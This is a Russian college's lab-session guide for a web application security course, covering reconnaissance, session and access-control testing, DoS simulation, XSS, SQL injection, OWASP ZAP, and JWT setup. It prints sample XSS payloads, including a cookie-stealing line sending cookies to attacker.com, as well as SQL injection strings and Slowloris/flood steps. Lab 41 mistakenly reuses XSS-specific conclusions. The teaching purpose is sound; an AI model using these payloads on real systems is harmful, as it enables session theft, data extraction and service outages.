*Приложение 1.3.1к ОПОП по специальности*
*09.02.11 Разработка и управление программным обеспечением*

Министерство науки и высшего образования Российской Федерации
Федеральное государственное бюджетное образовательное учреждение
высшего образования
«Магнитогорский государственный технический университет им. Г.И. Носова»

Многопрофильный колледж

# МЕТОДИЧЕСКИЕ УКАЗАНИЯ ДЛЯ ЛАБОРАТОРНЫХ ЗАНЯТИЙ МЕЖДИСЦИПЛИНАРНОГО КУРСА

**МДК.03.03 Обеспечение безопасности веб-приложений**

**для обучающихся специальности**

**09.02.11 Разработка и управление прогриммным обеспечением**

**СОДЕРЖАНИЕ**

# 1 ВВЕДЕНИЕ

Важную часть теоретической и профессиональной практической подготовки обучающихся составляют лабораторные занятия.

Состав и содержание лабораторных занятий направлены на реализацию Федерального государственного образовательного стандарта среднего профессионального образования.

Ведущей дидактической целью лабораторных занятий является экспериментальное подтверждение и проверка существенных теоретических положений (законов, зависимостей).

В соответствии с рабочей программой ПМ.03. Проектирование, разработка и оптимизация веб-приложений, МДК 03.02 Обеспечение безопасности веб-приложений предусмотрено проведение лабораторных занятий.

В результате их выполнения, обучающийся должен:

***уметь:***

У 3.4.1 выполнять отладку и тестирование программного кода (в том числе с использованием инструментальных средств);

У 3.4.2 выполнять оптимизацию и рефакторинг программного кода;

У 3.4.3 кодировать на скриптовых языках программирования;

У 3.4.4 тестировать веб-приложения с использованием тест-планов;

У 3.4.5 применять инструменты подготовки тестовых данных;

У 3.4.6 выбирать и комбинировать техники тестирования веб-приложений;

У 3.4.7 работать с системами контроля версий в соответствии с регламентом использования системы контроля версий;

У 3.4.8 выполнять проверку веб-приложения по техническому заданию;

У 3.5.1 осуществлять аудит безопасности веб приложений;

У 3.5.2 модифицировать веб-приложение с целью внедрения программного кода по обеспечению безопасности его работы;

У 3.5.3 способность проводить аудит безопасности веб-приложений, используя различные инструменты и методы, такие как сканирование уязвимостей, тестирование на проникновение и анализ кода;

У 3.5.4 анализировать полученные результаты аудита и тестирования на проникновение для определения уязвимостей и рисков безопасности;

У 3.5.5 предоставлять отчеты и рекомендации по улучшению безопасности веб-приложений на основе проведенного аудита.

Содержание лабораторных занятий ориентировано на формирование общих компетенций по профессиональному модулю программы подготовки специалистов среднего звена по специальности и овладению ***профессиональными компетенциями***:

ПК 3.4. Производить тестирование разработанного веб-приложения;

ПК 3.5. Осуществлять аудит безопасности веб-приложения в соответствии с регламентом по безопасности.

А также формированию ***общих компетенций***:

ОК 01. Выбирать способы решения задач профессиональной деятельности применительно к различным контекстам.

ОК 02. Использовать современные средства поиска, анализа и интерпретации информации и информационные технологии для выполнения задач профессиональной деятельности.

Лабораторные занятия проводятся в рамках соответствующей темы, после освоения дидактических единиц, которые обеспечивают наличие знаний, необходимых для ее выполнения.

# 2 МЕТОДИЧЕСКИЕ УКАЗАНИЯ

МДК 03.03 ОБЕСПЕЧЕНИЕ БЕЗОПАСНОСТИ ВЕБ-ПРИЛОЖЕНИЙ

Тема 3.1 Технологии обеспечения безопасности веб – приложений

## Лабораторное занятие № 37
## «Сбор информации о веб-приложении»

**Цель работы:**

Освоить методы и инструменты для сбора информации о веб-приложении, его структуре, технологиях, функционале и потенциальных уязвимостях. Научиться систематизировать полученные данные для дальнейшего анализа и оптимизации.

**Выполнив работу, Вы будете:**

***уметь:***

У 3.5.1 осуществлять аудит безопасности веб приложений;
У 3.5.2 модифицировать веб-приложение с целью внедрения программного кода по обеспечению безопасности его работы;
У 3.5.3 способность проводить аудит безопасности веб-приложений, используя различные инструменты и методы, такие как сканирование уязвимостей, тестирование на проникновение и анализ кода;
У 3.5.4 анализировать полученные результаты аудита и тестирования на проникновение для определения уязвимостей и рисков безопасности;
У 3.5.5 предоставлять отчеты и рекомендации по улучшению безопасности веб-приложений на основе проведенного аудита.

**Материальное обеспечение:**

ПК, IDE, веб-сервер, браузер

**Задание:**

Провести комплексный сбор информации о заданном веб-приложении. Необходимо:

- определить используемые технологии (CMS, фреймворки, языки программирования);
- изучить структуру сайта (карта сайта, каталоги, файлы);
- проанализировать функционал (формы, авторизация, API);
- выявить потенциальные уязвимости и точки входа;
- систематизировать и оформить полученные данные.

**Порядок выполнения работы**

1. Пассивный сбор информации
   - Изучить домен, историю изменений, WHOIS-данные.
   - Найти информацию о веб-приложении в поисковых системах и специализированных сервисах.
2. Активный сбор информации
   - Проанализировать HTTP-заголовки и метатеги.

– Определить используемые технологии (с помощью инструментов: WhatWeb, Wappalyzer и др.).

– Сканировать структуру сайта (поиск скрытых каталогов и файлов с помощью Dirb, Gobuster и аналогов).

3. Анализ функционала

– Исследовать формы ввода, параметры запросов, механизмы авторизации.

– Проверить наличие API и его структуру.

4. Выявление потенциальных уязвимостей

– Оценить точки входа для возможных атак (XSS, SQL-инъекции и др.).

– Зафиксировать все найденные подозрительные элементы.

5. Систематизация данных

– Структурировать полученную информацию в виде таблиц, схем или карт приложения.

6. Оформление отчёта

– Описать все этапы работы, приложить скриншоты, результаты сканирования и анализа.

**Форма представления результата**

Отчёт по лабораторной работе должен содержать:

- титульный лист;
- описание цели и задач работы;
- перечень использованных инструментов;
- результаты пассивного и активного сбора информации (таблицы, схемы);
- анализ функционала и выявленных уязвимостей;
- выводы о структуре и особенностях исследуемого веб-приложения.

**Критерии оценки:**

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Тема 3.1 Технологии обеспечения безопасности веб – приложений

**Лабораторное занятие № 38**
**«Тестирование защищенности механизма управления доступом и сессиями»**

**Цель работы**

Освоить практические методы тестирования механизмов управления доступом и сессиями в веб-приложениях. Научиться выявлять типовые уязвимости, связанные с авторизацией, аутентификацией и управлением сессиями, а также оценивать риски и предлагать меры по их устранению.

**Выполнив работу, Вы будете:**
***уметь:***

У 3.4.1 выполнять отладку и тестирование программного кода (в том числе с использованием инструментальных средств);
У 3.4.2 выполнять оптимизацию и рефакторинг программного кода;
У 3.4.3 кодировать на скриптовых языках программирования;
У 3.4.4 тестировать веб-приложения с использованием тест-планов;
У 3.4.5 применять инструменты подготовки тестовых данных;
У 3.4.6 выбирать и комбинировать техники тестирования веб-приложений;
У 3.4.7 работать с системами контроля версий в соответствии с регламентом использования системы контроля версий;
У 3.4.8 выполнять проверку веб-приложения по техническому заданию;

**Материальное обеспечение:**

ПК, IDE, веб-сервер, браузер

**Задание:**

Провести тестирование защищённости механизма управления доступом и сессиями в заданном веб-приложении. Необходимо:

- проверить корректность разграничения прав доступа между разными ролями пользователей;
- выявить уязвимости, связанные с управлением сессиями (идентификаторы сессий, cookie-файлы, повторное использование);
- попытаться обойти механизмы аутентификации и авторизации;
- зафиксировать все найденные недостатки и предложить рекомендации по их устранению.

**Порядок выполнения работы**

1. Анализ архитектуры и ролей

- изучить структуру веб-приложения, определить существующие роли пользователей (например, гость, пользователь, администратор);
- составить карту доступных функций для каждой роли.

2. Тестирование разграничения доступа

– попытаться получить доступ к функциям и данным, предназначенным для других ролей (например, под обычным пользователем попробовать зайти в админ-панель);

– проверить возможность прямого обращения к защищённым ресурсам по URL;

– проанализировать реакцию приложения на попытки несанкционированного доступа.

3. Тестирование управления сессиями

– изучить параметры сессий и cookie-файлов (например, HttpOnly, Secure, SameSite);

– проверить устойчивость идентификаторов сессий к перехвату и повторному использованию;

– оценить корректность завершения сессии при выходе пользователя и после длительного бездействия;

– проверить возможность фиксации сессии (Session Fixation).

4. Тестирование управления доступом (Access Control)

– попробовать обойти аутентификацию (например, с помощью подбора, изменения параметров запросов);

– проверить наличие уязвимостей типа IDOR (несанкционированный доступ к объектам);

– использовать инструменты (например, Burp Suite, OWASP ZAP) для анализа трафика и выявления слабых мест.

5. Документирование результатов

– для каждой найденной уязвимости описать: суть проблемы, способ воспроизведения, потенциальные риски;

– предложить рекомендации по устранению выявленных недостатков.

6. Оформление отчёта

– структурировать все полученные данные, приложить скриншоты, примеры запросов и ответов.

**Форма представления результата:**

Отчёт по лабораторной работе должен содержать:

– титульный лист;

– цель и задачи работы;

– описание тестируемого веб-приложения и его ролей;

– перечень проведённых тестов с описанием методик;

– таблицу выявленных уязвимостей (с указанием типа, описания, риска и рекомендаций);

– выводы о текущем уровне защищённости механизмов доступа и сессий.

**Критерии оценки:**

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Тема 3.1 Технологии обеспечения безопасности веб – приложений

## Лабораторное занятие № 39
## «Тестирование на устойчивость к атакам отказа в обслуживании»

**Цель работы**

Освоить методы тестирования веб-приложений на устойчивость к атакам типа «отказ в обслуживании» (DoS и DDoS). Научиться выявлять слабые места в архитектуре и конфигурации приложения, которые могут привести к недоступности сервиса, а также оценивать эффективность применяемых мер защиты.

**Выполнив работу, Вы будете:**
***уметь:***

У 3.4.1 выполнять отладку и тестирование программного кода (в том числе с использованием инструментальных средств);
У 3.4.2 выполнять оптимизацию и рефакторинг программного кода;
У 3.4.3 кодировать на скриптовых языках программирования;
У 3.4.4 тестировать веб-приложения с использованием тест-планов;
У 3.4.5 применять инструменты подготовки тестовых данных;
У 3.4.6 выбирать и комбинировать техники тестирования веб-приложений;
У 3.4.7 работать с системами контроля версий в соответствии с регламентом использования системы контроля версий;
У 3.4.8 выполнять проверку веб-приложения по техническому заданию;

**Материальное обеспечение:**

ПК, IDE, веб-сервер, браузер

**Задание:**

Провести серию тестов для оценки устойчивости тестового веб-приложения к различным типам атак отказа в обслуживании. Необходимо:

- смоделировать простые DoS-атаки на прикладном уровне (L7);
- проанализировать реакцию приложения и инфраструктуры на возрастающую нагрузку;
- выявить узкие места, приводящие к деградации производительности или отказу;
- оценить эффективность базовых средств защиты (если они реализованы);
- подготовить отчёт с результатами и рекомендациями.

**Порядок выполнения работы**

1. Подготовка тестового стенда:

- получить доступ к изолированному веб-приложению и серверу;
- убедиться, что все действия согласованы и не нарушают работу других пользователей;
- установить необходимые инструменты для генерации нагрузки (например, Apache Benchmark (ab), Siege, slowhttptest, wrk).

2. Сбор исходных данных:

– определить базовые показатели производительности приложения при нормальной нагрузке (время ответа, количество запросов в секунду, загрузка CPU/RAM);

– зафиксировать конфигурацию сервера и приложения.

3. Проведение нагрузочного тестирования (имитация легитимной нагрузки):

– с помощью инструментов (ab, wrk) сгенерировать возрастающую нагрузку на главную страницу и ключевые API-точки;

– зафиксировать, при каком количестве одновременных пользователей (RPS — Requests Per Second) начинается деградация производительности;

– построить графики зависимости времени ответа от нагрузки.

4. Имитация простых DoS-атак на прикладном уровне:

– Атака медленными запросами (Slowloris): использовать инструмент slowhttptest для имитации большого количества медленно отправляемых запросов, чтобы исчерпать лимиты соединений веб-сервера.

– Атака медленным чтением (R-U-Dead-Yet / RUDY): отправить POST-запрос с очень большим телом и передавать его серверу крайне медленно.

– Флуд запросами (HTTP Flood): сгенерировать большое количество легитимных GET/POST-запросов к ресурсоёмким страницам или функциям.

5. Анализ результатов:

– сравнить показатели производительности до, во время и после атак;

– зафиксировать момент отказа в обслуживании (ошибки 5xx, полная недоступность);

– проанализировать логи веб-сервера и приложения для выявления причин сбоя;

– определить, какие компоненты системы стали «узким местом» (веб-сервер, база данных, приложение).

6. Оценка эффективности защиты:

– если в системе реализованы средства защиты (например, WAF — Web Application Firewall, лимиты соединений), проверить их реакцию на проведённые атаки;

– описать, какие атаки были заблокированы и почему.

**Форма представления результата:**

Отчёт по лабораторной работе должен содержать:

1. Титульный лист.

2. Цель и задачи работы.

3. Описание тестового стенда (конфигурация сервера, ПО).

4. Методика тестирования:

– перечень использованных инструментов;

– описание сценариев атак.

5. Результаты тестирования:

– таблицы и графики с показателями производительности при нормальной и повышенной нагрузке;

– описание реакции приложения на каждую из смоделированных атак;
– анализ логов и выявленных «узких мест».

6. Выводы:
– оценка устойчивости веб-приложения к различным типам DoS-атак;
– перечень обнаруженных уязвимостей к отказу в обслуживании.

7. Рекомендации по повышению устойчивости:
– предложения по настройке сервера, внедрению средств защиты (WAF, Rate Limiting), оптимизации приложения.

**Критерии оценки:**

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Тема 3.1 Технологии обеспечения безопасности веб – приложений

**Лабораторное занятие № 40**
**«Поиск уязвимостей к атакам XSS»**

**Цель работы**

Освоить практические методы поиска и эксплуатации уязвимостей типа XSS в веб-приложениях. Научиться выявлять точки внедрения вредоносного кода, классифицировать типы XSS и оценивать риски для безопасности пользователей и приложения.

**Выполнив работу, Вы будете:**
***уметь:***

У 3.5.1 осуществлять аудит безопасности веб приложений;
У 3.5.2 модифицировать веб-приложение с целью внедрения программного кода по обеспечению безопасности его работы;
У 3.5.3 способность проводить аудит безопасности веб-приложений, используя различные инструменты и методы, такие как сканирование уязвимостей, тестирование на проникновение и анализ кода;
У 3.5.4 анализировать полученные результаты аудита и тестирования на проникновение для определения уязвимостей и рисков безопасности;
У 3.5.5 предоставлять отчеты и рекомендации по улучшению безопасности веб-приложений на основе проведенного аудита.

**Материальное обеспечение:**

ПК, IDE, веб-сервер, браузер

**Задание:**

Провести анализ тестового веб-приложения на наличие уязвимостей к атакам XSS. Необходимо:

- найти все точки, где пользовательский ввод отображается на странице без должной фильтрации;
- определить тип обнаруженных уязвимостей (отражённая, хранимая, DOM-based);
- продемонстрировать возможность выполнения произвольного JavaScript-кода;
- оценить потенциальный ущерб и предложить рекомендации по устранению найденных уязвимостей.

**Порядок выполнения работы**

1. Подготовка и анализ приложения

- изучить структуру тестового веб-приложения;
- составить список всех форм, полей ввода, параметров URL и других мест, где возможен ввод данных пользователем;
- проанализировать, где и как введённые данные отображаются на странице (сразу или после сохранения).

2. Поиск отражённой XSS (Reflected XSS)

– в поля ввода (поиск, логин, фильтры) и параметры URL ввести простые тестовые скрипты, например: <script>alert('XSS')</script>;

– проверить, выполняется ли скрипт при возврате страницы. Если да — уязвимость найдена;

– повторить для других полей и параметров.

3. Поиск хранимой XSS (Stored XSS)

– найти функционал, сохраняющий пользовательские данные (комментарии, сообщения на форуме, профиль пользователя, отзывы);

– отправить сообщение или заполнить поле ввода скриптом (например, <img src=x onerror=alert('Stored XSS')>);

– проверить, выполняется ли скрипт при просмотре страницы другим пользователем или администратором.

4. Поиск DOM-based XSS

– проанализировать JavaScript-код страницы на предмет использования данных из URL (например, через location.search, document.URL);

– изменить параметры URL так, чтобы они попадали в код страницы без фильтрации (например, ?name=<script>...);

– проверить выполнение кода в контексте браузера.

5. Эксплуатация уязвимостей

– для каждой найденной XSS продемонстрировать не просто alert(), а более реалистичный сценарий:

– кража cookie (<script>fetch('http://attacker.com/steal?c='+document.cookie)</script>);

– перенаправление пользователя на фишинговый сайт;

– изменение содержимого страницы (дефейс).

Это делается для понимания реальных рисков.

6. Документирование результатов

– для каждой найденной уязвимости зафиксировать:

– URL страницы и точное место внедрения;

– тип XSS (Reflected, Stored, DOM-based);

– полезную нагрузку (payload), которая сработала;

– краткое описание сценария атаки и потенциального ущерба.

**Форма представления результата:**

Отчёт по лабораторной работе должен содержать:

1. Титульный лист.

2. Цель и задачи работы.

3. Описание тестируемого приложения (кратко: функционал, где есть ввод данных).

4. Методика поиска:

– перечень использованных инструментов (например, браузер DevTools);
– описание подхода к анализу.

5. Результаты тестирования:

Таблица найденных уязвимостей:

| № | URL / Страница | Место внедрения | Тип XSS | Полезная нагрузка (Payload) | Описание сценария атаки |
|---|---|---|---|---|---|
| 1 | /search.php | Поле поиска | Reflected | <script>alert(1)</script> | Вывод сообщения при поиске |
| 2 | /profile/edit | Описание профиля | Stored | <img src=x onerror=alert(1)> | Выполнение скрипта при просмотре профиля другим пользователем |

6. Выводы:
– общая оценка защищённости приложения от атак XSS;
– количество и критичность найденных уязвимостей.

7. Рекомендации по устранению:
– для каждой уязвимости предложить конкретные меры (например: «реализовать кодирование вывода (output encoding) на стороне сервера», «использовать Content Security Policy (CSP)»).

**Критерии оценки:**

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Тема 3.1 Технологии обеспечения безопасности веб – приложений

## Лабораторное занятие № 41
## «Поиск уязвимостей к атакам SQL-injection»

**Цель работы**

Освоить практические методы поиска и эксплуатации уязвимостей типа SQL-инъекция в веб-приложениях. Научиться выявлять точки внедрения SQL-кода, определять тип уязвимости (классическая, слепая, на основе ошибок) и оценивать потенциальные риски для безопасности данных.

**Выполнив работу, Вы будете:**
***уметь:***

У 3.5.1 осуществлять аудит безопасности веб приложений;
У 3.5.2 модифицировать веб-приложение с целью внедрения программного кода по обеспечению безопасности его работы;
У 3.5.3 способность проводить аудит безопасности веб-приложений, используя различные инструменты и методы, такие как сканирование уязвимостей, тестирование на проникновение и анализ кода;
У 3.5.4 анализировать полученные результаты аудита и тестирования на проникновение для определения уязвимостей и рисков безопасности;
У 3.5.5 предоставлять отчеты и рекомендации по улучшению безопасности веб-приложений на основе проведенного аудита.

**Материальное обеспечение:**

ПК, IDE, веб-сервер, браузер

**Задание:**

Провести анализ тестового веб-приложения на наличие уязвимостей к атакам SQL-инъекций. Необходимо:

- найти все точки, где пользовательский ввод попадает в SQL-запросы без должной фильтрации;
- определить тип и критичность найденных уязвимостей;
- продемонстрировать возможность извлечения данных из базы данных (например, имён таблиц, версий СУБД);
- предложить рекомендации по устранению обнаруженных недостатков.

**Порядок выполнения работы**

1. Подготовка и анализ приложения

- изучить структуру тестового веб-приложения;
- составить список всех форм (авторизация, поиск, фильтры), а также параметров в URL, которые могут влиять на работу с базой данных;
- определить, какие технологии (язык программирования, СУБД) используются в приложении.

2. Поиск классических SQL-инъекций (In-band)

– в поля ввода и параметры URL вводить специальные символы, которые вызывают ошибку SQL-синтаксиса, например: ', '', --, /*.

– если приложение возвращает ошибку базы данных (например, MySQL error), это свидетельствует о наличии уязвимости;

– использовать операторы для объединения запросов, чтобы получить данные из других таблиц. Например: ' UNION SELECT 1, version(), 3 --.

3. Поиск слепых SQL-инъекций (Blind SQLi)

– если приложение не выводит ошибок, использовать логические запросы, результат которых можно определить по поведению страницы.

– пример: 1' AND 1=1 -- (страница загружается) и 1' AND 1=2 -- (страница не загружается или меняется). Разница в поведении указывает на уязвимость;

– использовать временные задержки (Time-based Blind SQLi). Например: 1' AND SLEEP(5) --. Если страница отвечает с задержкой в 5 секунд, уязвимость подтверждена.

4. Эксплуатация уязвимостей. Для подтверждённой уязвимости попытаться извлечь полезную информацию:

– определить версию СУБД (СУБД);

– получить список таблиц и столбцов (если это возможно без специальных инструментов);

– извлечь данные из таблиц (например, имена пользователей).

5. Документирование результатов. Для каждой найденной уязвимости зафиксировать:

– URL страницы и точный параметр/поле ввода;

– тип инъекции (классическая, слепая);

– полезную нагрузку (payload), которая сработала;

– краткое описание сценария атаки и потенциального ущерба.

**Форма представления результата:**

Отчёт по лабораторной работе должен содержать:

1. Титульный лист.

2. Цель и задачи работы.

3. Описание тестируемого приложения (кратко: функционал, где есть работа с базой данных).

4. Методика поиска:

– перечень использованных инструментов (например, браузер);

– описание подхода к анализу.

5. Результаты тестирования:

Таблица найденных уязвимостей:

| **№** | **URL / Страница** | **Параметр / Поле** | **Тип инъекции** | **Полезная нагрузка (*payload*)** | **Результат / Доказательство** |
|---|---|---|---|---|---|

| | | | | | |
|---|---|---|---|---|---|
| 1 | /login.php | username | Классическая | ' OR '1'='1 | Успешный вход без пароля |
| 2 | /search.php?id=5 | id | Слепая (Time-based) | 5' AND SLEEP(3) -- | Ответ с задержкой 3 секунды |

6. Выводы:

– общая оценка защищённости приложения от атак XSS;

– количество и критичность найденных уязвимостей.

7. Рекомендации по устранению:

– для каждой уязвимости предложить конкретные меры (например: «реализовать кодирование вывода (output encoding) на стороне сервера», «использовать Content Security Policy (CSP)»).

**Критерии оценки:**

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Тема 3.1 Технологии обеспечения безопасности веб – приложений

## Лабораторное занятие № 42
## «Тестирование безопасности с помощью OWASP ZAP»

**Цель работы**

Освоить практическое применение инструмента OWASP ZAP для автоматизированного и ручного тестирования безопасности веб-приложений. Научиться проводить активный и пассивный анализ, выявлять типовые уязвимости и интерпретировать результаты сканирования.

**Выполнив работу, Вы будете:**
***уметь:***

У 3.4.1 выполнять отладку и тестирование программного кода (в том числе с использованием инструментальных средств);
У 3.4.2 выполнять оптимизацию и рефакторинг программного кода;
У 3.4.3 кодировать на скриптовых языках программирования;
У 3.4.4 тестировать веб-приложения с использованием тест-планов;
У 3.4.5 применять инструменты подготовки тестовых данных;
У 3.4.6 выбирать и комбинировать техники тестирования веб-приложений;
У 3.4.7 работать с системами контроля версий в соответствии с регламентом использования системы контроля версий;
У 3.4.8 выполнять проверку веб-приложения по техническому заданию;

**Материальное обеспечение:**

ПК, IDE, веб-сервер, браузер

**Задание:**

Провести комплексное тестирование безопасности тестового веб-приложения с использованием OWASP ZAP. Необходимо:

- настроить OWASP ZAP в качестве прокси-сервера;
- провести пассивное и активное сканирование приложения;
- проанализировать полученные отчёты, выявить и проверить наиболее критичные уязвимости;
- сформировать итоговый отчёт с описанием найденных проблем и рекомендациями по их устранению.

**Порядок выполнения работы**

1. Установка и настройка OWASP ZAP

- установить последнюю версию OWASP ZAP с официального сайта;
- запустить приложение и ознакомиться с основным интерфейсом (Sites, Alerts, Request/Response);

– настроить браузер для работы через прокси-сервер ZAP (обычно адрес 127.0.0.1 и порт 8080). Убедиться, что в настройках ZAP снята галочка «Ignore URLs below your scope» или правильно настроен Scope.

2. Пассивный анализ (Passive Scanning)

– в браузере, настроенном на прокси ZAP, пройтись по всем основным страницам тестового приложения (главная, страницы авторизации, личный кабинет, поиск, формы обратной связи);

– убедиться, что весь трафик проходит через ZAP и отображается во вкладке Sites;

– обратить внимание на вкладку Alerts: пассивный сканер автоматически ищет признаки уязвимостей в уже существующем трафике (например, отсутствие флагов безопасности у cookie).

3. Активное сканирование (Active Scanning)

– в интерфейсе ZAP выбрать корневой URL тестового приложения (например, http://test-app.local/) и нажать правой кнопкой мыши → Attack → Active Scan host;

– дождаться завершения сканирования. В процессе ZAP будет отправлять приложению множество специально сформированных запросов для проверки на наличие уязвимостей;

4. Анализ результатов и ручная проверка

– изучить вкладку Alerts. OWASP ZAP классифицирует уязвимости по уровню риска (High, Medium, Low, Info);

– выбрать 2–3 наиболее критичные уязвимости (уровня High или Medium) для детального анализа;

– для каждой уязвимости изучить вкладки Request и Response, чтобы понять, какой именно запрос вызвал срабатывание;

– попытаться вручную воспроизвести атаку в браузере, используя данные из ZAP, чтобы убедиться в её реальности (не является ли это ложным срабатыванием).

5. Формирование отчёта

– использовать встроенную функцию Report в OWASP ZAP (меню Report → Generate HTML Report);

– сохранить отчёт для дальнейшего анализа.

**Форма представления результата:**

Отчёт по лабораторной работе должен содержать:

1. Титульный лист.
2. Цель и задачи работы.
3. Описание тестируемого приложения (URL, основной функционал).
4. Краткое описание методики:

– версия используемого OWASP ZAP;

– описание этапов работы (пассивный сбор данных, активное сканирование).

5. Результаты тестирования:

Сводная таблица наиболее критичных уязвимостей (не более 5):

| № | Уровень риска | Тип уязвимости | URL / Параметр | Краткое описание | Статус (подтверждена / ложное срабатывание) |
|---|---|---|---|---|---|
| 1 | High | SQL Injection | /login.php?user= | Ввод символа ' приводит к ошибке СУБД | Подтверждена |
| 2 | Medium | XSS (Reflected) | /search?q= | Ввод <script>alert(1)</script> вызывает всплывающее окно | Подтверждена |

6. Выводы:

– общая оценка уровня защищённости приложения на основе отчёта OWASP ZAP;

– краткое резюме о наиболее часто встречающихся проблемах.

7. Рекомендации по устранению:

– для каждой из описанных в таблице уязвимостей предложить конкретные меры по исправлению (например, «использовать подготовленные выражения для защиты от SQLi», «кодировать выводимые данные для защиты от XSS»).

**Критерии оценки:**

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Тема 3.1 Технологии обеспечения безопасности веб – приложений

**Лабораторное занятие № 43**
**«Настройка аутентификации с использованием JWT»**

**Цель работы**

Освоить настройку механизма аутентификации с использованием JWT (JSON Web Token) в веб-приложении, научиться реализовывать безопасную передачу данных между клиентом и сервером, а также управлять доступом к защищённым ресурсам на основе токенов.

**Выполнив работу, Вы будете:**
***уметь:***

У 3.5.1 осуществлять аудит безопасности веб приложений;
У 3.5.2 модифицировать веб-приложение с целью внедрения программного кода по обеспечению безопасности его работы;
У 3.5.3 способность проводить аудит безопасности веб-приложений, используя различные инструменты и методы, такие как сканирование уязвимостей, тестирование на проникновение и анализ кода;
У 3.5.4 анализировать полученные результаты аудита и тестирования на проникновение для определения уязвимостей и рисков безопасности;
У 3.5.5 предоставлять отчеты и рекомендации по улучшению безопасности веб-приложений на основе проведенного аудита.

**Материальное обеспечение:**

ПК, IDE, веб-сервер, браузер

**Задание:**

1. Создать проект веб-приложения с поддержкой аутентификации по JWT.
2. Реализовать регистрацию и вход пользователей с выдачей JWT.
3. Настроить фильтрацию запросов для проверки валидности токена.
4. Организовать ролевой доступ к ресурсам.
5. Протестировать работу системы с помощью запросов (Postman или Bruno).

**Порядок выполнения работы**

1. Подготовка проекта

– Инициализировать проект.

– Добавить необходимые зависимости: для работы с JWT, безопасности, базой данных.

– Настроить переменные окружения для хранения секретного ключа JWT.

2. Создание модели пользователя

– Реализовать сущность пользователя с полями: id, username, password (хранить в виде хэша), роли.

– Добавить сервис для регистрации и аутентификации пользователей.

3. Реализация механизма JWT

– Создать сервис для генерации, валидации и обновления токенов.

– Реализовать методы:

- генерация токена (access и refresh);
- проверка подписи и срока действия токена;
- извлечение данных пользователя из токена.

4. Настройка фильтров безопасности

– Реализовать фильтр, который будет перехватывать запросы, извлекать JWT из заголовка Authorization и проверять его валидность.

– Настроить цепочку фильтров Spring Security (или аналог в выбранном стеке).

5. Контроллеры и эндпоинты

– Создать контроллер для регистрации (/signup) и входа (/auth).

– Реализовать защищённые эндпоинты, доступные только с валидным токеном.

– Организовать ролевой доступ (например, только администратор может удалять задачи).

6. Тестирование

– Проверить работу регистрации и входа.

– Получить токен и использовать его для доступа к защищённым ресурсам.

– Протестировать обработку ошибок: 401 (неавторизован), 403 (доступ запрещён), 404 (ресурс не найден).

7. Документирование

– Описать структуру токена, используемые алгоритмы, порядок передачи данных.

– Привести примеры запросов и ответов для каждого эндпоинта.

**Форма представления результата:**

Отчёт по лабораторной работе должен содержать:

1. Исходный код проекта (архив или ссылка на репозиторий).
2. Отчёт по лабораторной работе, включающий:

– цель и задание;

– описание реализованных компонентов (схемы БД, классы, фильтры);

– примеры запросов/ответов (Postman или Bruno);

– анализ безопасности: как хранятся пароли, как защищён секретный ключ;

– выводы по работе.

3. Демонстрация работы приложения (скринкаст или пошаговое описание тестирования).

**Критерии оценки:**

Оценка "5" ставится: вся работа выполнена безошибочно и нет исправлений;

Оценка "4" ставится: допущены 1-2 вычислительные ошибки.

Оценка "3" ставится: допущены ошибки в ходе решения задачи при правильном выполнении всех остальных заданий или допущены 3-4 вычислительные ошибки, при этом ход анализа должен быть верным.

Оценка "2" ставится: допущены ошибки в ходе решения задачи и хотя бы одна вычислительная ошибка или при анализе и примеров допущено более 5 вычислительных ошибок.

Тема 3.1 Технологии обеспечения безопасности веб – приложений

## Лабораторное занятие № 44
## «Использование HTTPS и SSL/TLS»

**Цель работы**

Изучить принципы работы протоколов HTTPS, SSL и TLS, научиться настраивать защищённое соединение между клиентом и сервером, а также получить практические навыки по созданию и использованию SSL/TLS-сертификатов для обеспечения конфиденциальности, целостности и аутентичности передаваемых данных.

**Выполнив работу, Вы будете:**
***уметь:***

У 3.5.1 осуществлять аудит безопасности веб приложений;
У 3.5.2 модифицировать веб-приложение с целью внедрения программного кода по обеспечению безопасности его работы;
У 3.5.3 способность проводить аудит безопасности веб-приложений, используя различные инструменты и методы, такие как сканирование уязвимостей, тестирование на проникновение и анализ кода;
